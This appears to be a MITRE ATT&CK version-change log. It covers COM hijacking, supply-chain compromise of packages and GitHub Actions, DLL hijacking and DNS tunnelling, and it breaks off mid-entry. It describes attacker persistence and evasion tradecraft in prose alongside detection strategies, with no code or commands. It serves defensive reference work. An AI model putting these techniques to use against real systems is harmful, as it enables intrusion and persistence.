external_references		{'source_name': 'ReliaQuest Health Care Social Engineering Campaign 2024', 'description': 'Hayden Evans. (2024, April 4). Health Care Social Engineering Campaign. Retrieved May 22, 2025.', 'url': 'https://www.reliaquest.com/blog/health-care-social-engineering-campaign/'}
x_mitre_contributors		ReliaQuest

[T1546.015] Event Triggered Execution: Component Object Model Hijacking

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may establish persistence by executing malicious	t	1	Adversaries may establish persistence by executing malicious
	>	content triggered by hijacked references to Component Objec		>	content triggered by hijacked references to Component Objec
	>	t Model (COM) objects. COM is a system within Windows to ena		>	t Model (COM) objects. COM is a system within Windows to ena
	>	ble interaction between software components through the oper		>	ble interaction between software components through the oper
	>	ating system.(Citation: Microsoft Component Object Model) R		>	ating system.(Citation: Microsoft Component Object Model) R
	>	eferences to various COM objects are stored in the Registry.		>	eferences to various COM objects are stored in the Registry.
	>	Adversaries can use the COM system to insert malicious co		>	Adversaries may use the COM system to insert malicious co
	>	de that can be executed in place of legitimate software thro		>	de that can be executed in place of legitimate software thro
	>	ugh hijacking the COM references and relationships as a mean		>	ugh hijacking the COM references and relationships as a mean
	>	s for persistence. Hijacking a COM object requires a change		>	s for persistence. Hijacking a COM object requires a change
	>	in the Registry to replace a reference to a legitimate syste		>	in the Registry to replace a reference to a legitimate syste
	>	m component which may cause that component to not work when		>	m component which may cause that component to not work when
	>	executed. When that system component is executed through nor		>	executed. When that system component is executed through nor
	>	mal system operation the adversary's code will be executed i		>	mal system operation the adversary's code will be executed i
	>	nstead.(Citation: GDATA COM Hijacking) An adversary is likel		>	nstead.(Citation: GDATA COM Hijacking) An adversary is likel
	>	y to hijack objects that are used frequently enough to maint		>	y to hijack objects that are used frequently enough to maint
	>	ain a consistent level of persistence, but are unlikely to b		>	ain a consistent level of persistence, but are unlikely to b
	>	reak noticeable functionality within the system as to avoid		>	reak noticeable functionality within the system as to avoid
	>	system instability that could lead to detection.		>	system instability that could lead to detection. One varia
				>	tion of COM hijacking involves abusing Type Libraries (TypeL
				>	ibs), which provide metadata about COM objects, such as thei
				>	r interfaces and methods. Adversaries may modify Registry ke
				>	ys associated with TypeLibs to redirect legitimate COM objec
				>	t functionality to malicious scripts or payloads. Unlike tra
				>	ditional COM hijacking, which commonly uses local DLLs, this
				>	variation may leverage the "script:" moniker to execute rem
				>	ote scripts hosted on external servers.(Citation: RELIAQUEST
				>	) This approach enables stealthy execution of code while mai
				>	ntaining persistence, as the remote payload would be automat
				>	ically downloaded whenever the hijacked COM object is access
				>	ed.

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0481: Windows COM Hijacking Detection via Registry and DLL Load Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:20.012000+00:00	2025-10-24 17:49:18.160000+00:00
description	Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.	Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. Adversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. One variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the "script:" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.
x_mitre_version	1.2	1.3

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'RELIAQUEST', 'description': 'RELIAQUEST THREAT RESEARCH TEAM. (2025, April 11). Threat Spotlight: Hijacked and Hidden: New Backdoor and Persistence Technique. Retrieved June 27, 2025.', 'url': 'https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/'}
x_mitre_contributors		ReliaQuest

[T1195.001] Supply Chain Compromise: Compromise Software Dependencies and Development Tools

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may manipulate software dependencies and develop	t	1	Adversaries may manipulate software dependencies and develop
	>	ment tools prior to receipt by a final consumer for the purp		>	ment tools prior to receipt by a final consumer for the purp
	>	ose of data or system compromise. Applications often depend		>	ose of data or system compromise. Applications often depend
	>	on external software to function properly. Popular open sour		>	on external software to function properly. Popular open sour
	>	ce projects that are used as dependencies in many applicatio		>	ce projects that are used as dependencies in many applicatio
	>	ns may be targeted as a means to add malicious code to users		>	ns, such as pip and NPM packages, may be targeted as a means
	>	of the dependency.(Citation: Trendmicro NPM Compromise)		>	to add malicious code to users of the dependency.(Citation:
	>	Targeting may be specific to a desired victim set or may be		>	Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi
	>	distributed to a broad set of consumers but only move on to		>	tories Compromised 2021)(Citation: MANDVI Malicious npm and
	>	additional tactics on specific victims.		>	PyPI Packages Disguised) This may also include abandoned pac
				>	kages, which in some cases could be re-registered by threat
				>	actors after being removed by adversaries.(Citation: The Hac
				>	ker News PyPi Revival Hijack 2024) Adversaries may also empl
				>	oy "typosquatting" or name-confusion by choosing names simil
				>	ar to existing popular libraries or packages in order to dec
				>	eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac
				>	kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C
				>	itation: Checkmarx-oss-seo) Additionally, CI/CD pipeline co
				>	mponents, such as GitHub Actions, may be targeted in order t
				>	o gain access to the building, testing, and deployment cycle
				>	s of an application.(Citation: Unit 42 Palo Alto GitHub Acti
				>	ons Supply Chain Attack 2025) By adding malicious code into
				>	a GitHub action, a threat actor may be able to collect runti
				>	me credentials (e.g., via [Proc Filesystem](https://attack.m
				>	itre.org/techniques/T1003/007)) or insert further malicious
				>	components into the build pipelines for a second-order suppl
				>	y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac
				>	tions are often dependent on other GitHub Actions, threat ac
				>	tors may be able to infect a large number of repositories vi
				>	a the compromise of a single Action.(Citation: Palo Alto Net
				>	works GitHub Actions Worm 2023) Targeting may be specific t
				>	o a desired victim set or may be distributed to a broad set
				>	of consumers but only move on to additional tactics on speci
				>	fic victims.

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0009: Supply-chain tamper in dependencies/dev-tools (manager→write/install→first-run→egress)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Enis Aksu', 'Joe Gumke, U.S. Bank', 'Liran Ravich, CardinalOps']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:08:13.223000+00:00	2025-10-24 17:48:27.436000+00:00
description	Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.	Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ "typosquatting" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo) Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023) Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity.
x_mitre_version	1.2	1.3

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Palo Alto Networks GitHub Actions Worm 2023', 'description': 'Asi Greenholts. (2023, September 14). The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree. Retrieved May 22, 2025.', 'url': 'https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/'}
external_references		{'source_name': 'Meyer PyPI Supply Chain Attack Uncovered', 'description': 'Darren Meyer. (2025, May 28). PyPI Supply Chain Attack Uncovered: Colorama and Colorizr Name Confusion. Retrieved September 24, 2025.', 'url': 'https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/'}
external_references		{'source_name': 'Ahmed Backdoors in Python and NPM Packages', 'description': 'Deeba Ahmed. (2025, June 2). Backdoors in Python and NPM Packages Target Windows and Linux. Retrieved September 24, 2025.', 'url': 'https://hackread.com/backdoors-python-npm-packages-windows-linux/'}
external_references		{'source_name': 'MANDVI Malicious npm and PyPI Packages Disguised', 'description': 'MANDVI. (2025, April 22). Malicious npm and PyPI Packages Disguised as Dev Tools to Steal Credentials. Retrieved September 24, 2025.', 'url': 'https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools'}
external_references		{'source_name': 'Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025', 'description': 'Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.', 'url': 'https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack'}
external_references		{'source_name': 'OWASP CICD-SEC-4', 'description': 'OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.', 'url': 'https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution'}
external_references		{'source_name': 'The Hacker News PyPi Revival Hijack 2024', 'description': 'Ravie Lakshmanan. (2024, September 4). Researchers Find Over 22,000 Removed PyPI Packages at Risk of Revival Hijack. Retrieved May 22, 2025.', 'url': 'https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html'}
external_references		{'source_name': 'Bitdefender NPM Repositories Compromised 2021', 'description': 'Silviu Stahie. (2021, November 8). Popular NPM Repositories Compromised in Man-in-the-Middle Attack. Retrieved May 22, 2025.', 'url': 'https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack'}
external_references		{'source_name': 'Checkmarx-oss-seo', 'description': 'Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.', 'url': 'https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/'}

[T1574.001] Hijack Execution Flow: DLL

Current version: 2.1

Version changed from: 2.0 → 2.1

	Old Description			New Description
t	1	Adversaries may abuse dynamic-link library files (DLLs) in o	t	1	Adversaries may abuse dynamic-link library files (DLLs) in o
	>	rder to achieve persistence, escalate privileges, and evade		>	rder to achieve persistence, escalate privileges, and evade
	>	defenses. DLLs are libraries that contain code and data that		>	defenses. DLLs are libraries that contain code and data that
	>	can be simultaneously utilized by multiple programs. While		>	can be simultaneously utilized by multiple programs. While
	>	DLLs are not malicious by nature, they can be abused through		>	DLLs are not malicious by nature, they can be abused through
	>	mechanisms such as side-loading, hijacking search order, an		>	mechanisms such as side-loading, hijacking search order, an
	>	d phantom DLL hijacking.(Citation: unit 42) Specific ways D		>	d phantom DLL hijacking.(Citation: unit 42) Specific ways D
	>	LLs are abused by adversaries include: ### DLL Sideloading		>	LLs are abused by adversaries include: ### DLL Sideloading
	>	Adversaries may execute their own malicious payloads by side		>	Adversaries may execute their own malicious payloads by side
	>	-loading DLLs. Side-loading involves hijacking which DLL a p		>	-loading DLLs. Side-loading involves hijacking which DLL a p
	>	rogram loads by planting and then invoking a legitimate appl		>	rogram loads by planting and then invoking a legitimate appl
	>	ication that executes their payload(s). Side-loading positi		>	ication that executes their payload(s). Side-loading positi
	>	ons both the victim application and malicious payload(s) alo		>	ons both the victim application and malicious payload(s) alo
	>	ngside each other. Adversaries likely use side-loading as a		>	ngside each other. Adversaries likely use side-loading as a
	>	means of masking actions they perform under a legitimate, tr		>	means of masking actions they perform under a legitimate, tr
	>	usted, and potentially elevated system or software process.		>	usted, and potentially elevated system or software process.
	>	Benign executables used to side-load payloads may not be fla		>	Benign executables used to side-load payloads may not be fla
	>	gged during delivery and/or execution. Adversary payloads ma		>	gged during delivery and/or execution. Adversary payloads ma
	>	y also be encrypted/packed or otherwise obfuscated until loa		>	y also be encrypted/packed or otherwise obfuscated until loa
	>	ded into the memory of the trusted process. Adversaries may		>	ded into the memory of the trusted process. Adversaries may
	>	also side-load other packages, such as BPLs (Borland Packag		>	also side-load other packages, such as BPLs (Borland Packag
	>	e Library).(Citation: kroll bpl) ### DLL Search Order Hijac		>	e Library).(Citation: kroll bpl) Adversaries may chain DLL
	>	king Adversaries may execute their own malicious payloads by		>	sideloading multiple times to fragment functionality hinderi
	>	hijacking the search order that Windows uses to load DLLs.		>	ng analysis. Adversaries using multiple DLL files can split
	>	This search order is a sequence of special and standard sear		>	the loader functions across different DLLs, with a main DLL
	>	ch locations that a program checks when loading a DLL. An ad		>	loading the separated export functions. (Citation: Virus Bul
	>	versary can plant a trojan DLL in a directory that will be p		>	letin) Spreading loader functions across multiple DLLs makes
	>	rioritized by the DLL search order over the location of a le		>	analysis harder, since all files must be collected to fully
	>	gitimate library. This will cause Windows to load the malici		>	understand the malware’s behavior. Another method implemen
	>	ous DLL when it is called for by the victim program.(Citatio		>	ts a “loader-for-a-loader”, where a malicious DLL’s sole rol
	>	n: unit 42) ### DLL Redirection Adversaries may directly mo		>	e is to load a second DLL (or a chain of DLLs) that contain
	>	dify the search order via DLL redirection, which after being		>	the real payload. (Citation: Sophos) ### DLL Search Order H
	>	enabled (in the Registry or via the creation of a redirecti		>	ijacking Adversaries may execute their own malicious payload
	>	on file) may cause a program to load a DLL from a different		>	s by hijacking the search order that Windows uses to load DL
	>	location.(Citation: Microsoft redirection)(Citation: Microso		>	Ls. This search order is a sequence of special and standard
	>	ft - manifests/assembly) ### Phantom DLL Hijacking Adversar		>	search locations that a program checks when loading a DLL. A
	>	ies may leverage phantom DLL hijacking by targeting referenc		>	n adversary can plant a trojan DLL in a directory that will
	>	es to non-existent DLL files. They may be able to load their		>	be prioritized by the DLL search order over the location of
	>	own malicious DLL by planting it with the correct name in t		>	a legitimate library. This will cause Windows to load the ma
	>	he location of the missing module.(Citation: Hexacorn DLL Hi		>	licious DLL when it is called for by the victim program.(Cit
	>	jacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substit		>	ation: unit 42) ### DLL Redirection Adversaries may directl
	>	ution Adversaries may target existing, valid DLL files and s		>	y modify the search order via DLL redirection, which after b
	>	ubstitute them with their own malicious DLLs, planting them		>	eing enabled (in the Registry or via the creation of a redir
	>	with the same name and in the same location as the valid DLL		>	ection file) may cause a program to load a DLL from a differ
	>	file.(Citation: Wietze Beukema DLL Hijacking) Programs tha		>	ent location.(Citation: Microsoft redirection)(Citation: Mic
	>	t fall victim to DLL hijacking may appear to behave normally		>	rosoft - manifests/assembly) ### Phantom DLL Hijacking Adve
	>	because malicious DLLs may be configured to also load the l		>	rsaries may leverage phantom DLL hijacking by targeting refe
	>	egitimate DLLs they were meant to replace, evading defenses.		>	rences to non-existent DLL files. They may be able to load t
	>	Remote DLL hijacking can occur when a program sets its cur		>	heir own malicious DLL by planting it with the correct name
	>	rent directory to a remote location, such as a Web share, be		>	in the location of the missing module.(Citation: Hexacorn DL
	>	fore loading a DLL.(Citation: dll pre load owasp)(Citation:		>	L Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Sub
	>	microsoft remote preloading) If a valid DLL is configured t		>	stitution Adversaries may target existing, valid DLL files a
	>	o run at a higher privilege level, then the adversary-contro		>	nd substitute them with their own malicious DLLs, planting t
	>	lled DLL that is loaded will also be executed at the higher		>	hem with the same name and in the same location as the valid
	>	level. In this case, the technique could be used for privile		>	DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs
	>	ge escalation.		>	that fall victim to DLL hijacking may appear to behave norm
				>	ally because malicious DLLs may be configured to also load t
				>	he legitimate DLLs they were meant to replace, evading defen
				>	ses. Remote DLL hijacking can occur when a program sets its
				>	current directory to a remote location, such as a Web share
				>	, before loading a DLL.(Citation: dll pre load owasp)(Citati
				>	on: microsoft remote preloading) If a valid DLL is configur
				>	ed to run at a higher privilege level, then the adversary-co
				>	ntrolled DLL that is loaded will also be executed at the hig
				>	her level. In this case, the technique could be used for pri
				>	vilege escalation.

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0201: Detection Strategy for Hijack Execution Flow for DLLs

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Process: Process Creation', 'Module: Module Load', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 18:24:47.533000+00:00	2025-10-24 17:48:35.900000+00:00
description	Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) Specific ways DLLs are abused by adversaries include: ### DLL Sideloading Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) ### DLL Search Order Hijacking Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) ### DLL Redirection Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) ### Phantom DLL Hijacking Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substitution Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.	Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) Specific ways DLLs are abused by adversaries include: ### DLL Sideloading Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos) ### DLL Search Order Hijacking Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) ### DLL Redirection Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) ### Phantom DLL Hijacking Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substitution Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.
x_mitre_version	2.0	2.1

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Sophos', 'description': 'Gabor Szappanos. (2023, May 3). A doubled “Dragon Breath” adds new air to DLL sideloading attacks. Retrieved October 3, 2025.', 'url': 'https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/'}
external_references		{'source_name': 'Virus Bulletin', 'description': 'Suguru Ishimaru, Hajime Yanagishita, Yusuke Niwa. (2023, October 5). Unveiling activities of Tropic Trooper 2023: deep analysis of Xiangoop Loader and EntryShell payload. Retrieved October 3, 2025.', 'url': 'https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/'}

[T1071.004] Application Layer Protocol: DNS

Current version: 1.4

Version changed from: 1.3 → 1.4

	Old Description			New Description
t	1	Adversaries may communicate using the Domain Name System (DN	t	1	Adversaries may communicate using the Domain Name System (DN
	>	S) application layer protocol to avoid detection/network fil		>	S) application layer protocol to avoid detection/network fil
	>	tering by blending in with existing traffic. Commands to the		>	tering by blending in with existing traffic. Commands to the
	>	remote system, and often the results of those commands, wil		>	remote system, and often the results of those commands, wil
	>	l be embedded within the protocol traffic between the client		>	l be embedded within the protocol traffic between the client
	>	and server. The DNS protocol serves an administrative fun		>	and server. The DNS protocol serves an administrative fun
	>	ction in computer networking and thus may be very common in		>	ction in computer networking and thus may be very common in
	>	environments. DNS traffic may also be allowed even before ne		>	environments. DNS traffic may also be allowed even before ne
	>	twork authentication is completed. DNS packets contain many		>	twork authentication is completed. DNS packets contain many
	>	fields and headers in which data can be concealed. Often kno		>	fields and headers in which data can be concealed. Often kno
	>	wn as DNS tunneling, adversaries may abuse DNS to communicat		>	wn as DNS tunneling, adversaries may abuse DNS to communicat
	>	e with systems under their control within a victim network w		>	e with systems under their control within a victim network w
	>	hile also mimicking normal, expected traffic.(Citation: PAN		>	hile also mimicking normal, expected traffic.(Citation: PAN
	>	DNS Tunneling)(Citation: Medium DnsTunneling)		>	DNS Tunneling)(Citation: Medium DnsTunneling) DNS beaconing
				>	may be used to send commands to remote systems via DNS quer
				>	ies. A DNS beacon is created by tunneling DNS traffic (i.e.
				>	[Protocol Tunneling](https://attack.mitre.org/techniques/T15
				>	72)). The commands may be embedded into different DNS record
				>	s, for example, TXT or A records.(Citation: OilRig Uses Upda
				>	ted BONDUPDATER to Target Middle Eastern Government) DNS bea
				>	cons may be difficult to detect because the beacons infreque
				>	ntly communicate with infected devices.(Citation: DNS Beacon
				>	s) Infrequent communication conceals the malicious DNS traff
				>	ic with normal DNS traffic.

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0400: Behavioral Detection of DNS Tunneling and Application Layer Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:10.065000+00:00	2025-10-24 17:48:27.877000+00:00
description	Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)	Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) DNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected 